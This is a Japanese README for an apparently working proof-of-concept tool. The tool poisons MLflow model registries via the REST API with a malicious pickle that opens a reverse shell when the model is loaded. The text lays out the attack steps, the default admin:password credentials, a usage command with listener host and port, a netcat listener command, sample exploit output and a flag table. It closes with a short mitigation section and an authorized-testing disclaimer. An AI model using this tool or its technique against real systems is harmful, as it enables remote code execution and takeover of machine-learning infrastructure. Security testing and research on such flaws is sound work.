
MLflowの登録済みモデルをREST API経由でポイズニングし、悪意のあるpickleを埋め込んでモデル読み込み時にRCEを引き起こす概念実証。
MLflowモデルレジストリに対するpickleデシリアライゼーションRCEの汎用概念実証(CVE-2024-37054系)。MLflow REST APIとのみ通信し、その前段にある特定のクライアントアプリケーションについての仮定は一切置かない。
⚠️ 認可されたセキュリティテスト専用。 自身が所有するシステム、または明示的にテストを認可されたシステム(CTF/ラボ環境、署名済みスコープのあるエンゲージメントなど)に対してのみ実行すること。コンピュータシステムへの不正アクセスは、ほとんどの法域で違法である。
MLflowのpyfuncフレーバーは、mlflow.pyfunc.load_model()が呼び出されるたびに、登録済みモデルをmodel.pklアーティファクトのアンピクルによってロードする。これがMLflow UI/APIを通じて直接トリガーされる場合でも、登録済みモデルに対して推論を実行するクライアントアプリケーションによって間接的にトリガーされる場合でも同様である。
Pythonのpickleモジュールは、デシリアライズ中にオブジェクトの__reduce__メソッドを介して任意のコードを実行できる。攻撃者がMLflow APIに対して以下の操作を行うのに十分なアクセス権を持つ場合:
...攻撃者は悪意のあるpickleをmodel.pklとして密輸できる。次にそのモデルバージョンを何かがロードした時点で、攻撃者のコードはロードを行っているプロセス(MLflowサーバー自体、またはMLflowを組み込んだクライアントアプリ)のコンテキストで実行される。
これは、CVE-2023-6015、CVE-2023-6018、CVE-2024-37054を含む複数のMLflow CVEの背後にある根本的なプリミティブと同じである。MLflowインスタンスは認証なし、またはよく知られたデフォルト認証情報(admin:password)でデプロイされることが頻繁にあるため、特に危険である。
純粋にAPI駆動で、以下の順に実行する:
--model-name経由で既にアクセス権のあるものを再利用する)。model.pkl — __reduce__がos.system()を呼び出してリバースシェルを起動するpickle。MLmodel — そのpickleに支えられたpython_function / sklearnフレーバーを宣言するマニフェスト。Production)に遷移させる。多くのクライアントアプリはモデルのProductionステージのバージョンのみをロードするためである。実際のモデルロードの発見やトリガーは行わない。その部分はデプロイメントごとに異なる:
/predictルート、スケジュールされたバッチジョブなど)の背後でmlflow.pyfunc.load_model()を呼び出す場合がある。以下を行う必要がある:
--model-nameを自分で入手する — MLflow UI、MLflow API(/api/2.0/mlflow/registered-models/search)、またはクライアントアプリケーションがあなたに代わってモデルを登録する際に返すものから。pip install requests --break-system-packages
Python 3.8+。その他の依存関係はない。
python3 mlflow_pickle_rce.py \
--mlflow http://mlflow.target.tld \
--model-name my-target-model \
--lhost 10.10.14.1 --lport 4444
実行前または実行後にリスナーを起動する:
nc -lvnp 4444
その後、ターゲットアプリケーションが行う方法(独自の推論エンドポイント、バッチジョブ、MLflow UIからの手動でのモデルロードなど)でロードをトリガーする。
$ python3 mlflow_pickle_rce.py --mlflow http://mlflow.target.tld \
--model-name my-target-model --lhost 10.10.14.1 --lport 4444
[*] Verifying MLflow access at http://mlflow.target.tld ...
[+] MLflow API reachable (200)
[*] Ensuring registered model 'my-target-model' exists ...
[+] Model 'my-target-model' already exists, reusing it
[*] Creating run under experiment 0 ...
[+] Run ID: 3f9b1c2a...
[*] Uploading MLmodel ...
[+] MLmodel upload: 200
[*] Uploading model.pkl ...
[+] model.pkl upload: 200
[*] Registering malicious model version for 'my-target-model' ...
[+] Model version: 200 - {...}
[*] Transitioning version 2 to stage 'Production' ...
[+] Stage transition: 200
[+] Malicious model version is registered.
[+] Model name: my-target-model
[+] Listener: nc -lvnp 4444
[+] Now trigger whatever loads this model version in the target app
(e.g. its /predict endpoint, or wait for a scheduled job that
calls mlflow.pyfunc.load_model() on it).
admin:password)を決して残さない。pickleに依存しないMLflowフレーバー/シリアライゼーション形式(例:ONNX、またはより安全なシリアライゼーションを持つフレーバー)を使用するか、モデルロードを検証/サンドボックス化する。registered-models/create、model-versions/create、transition-stage呼び出しを監視する。特にProductionにモデルを公開すべきでないアカウントからのものを。load_model()を呼び出すクライアントアプリ)をネットワークセグメント化する。そうすれば、そこでのコード実行プリミティブが機密性の高い内部システムへの直接的な経路を持たなくなる。MIT — LICENSEを参照。
| Flag | Default | Description |
|---|
--mlflow | (required) | MLflowベースURL |
--model-name | random | ポイズニングする登録済みモデル名。存在しない場合は作成される |
--lhost | (required) | リスナーIP |
--lport | 4444 | リスナーポート |
--username | admin | MLflow basic認証ユーザー名 |
--password | password | MLflow basic認証パスワード |
--experiment-id | 0 | runを作成する実験ID |
--stage | Production | 悪意のあるバージョンを昇格させるステージ、または遷移をスキップするnone |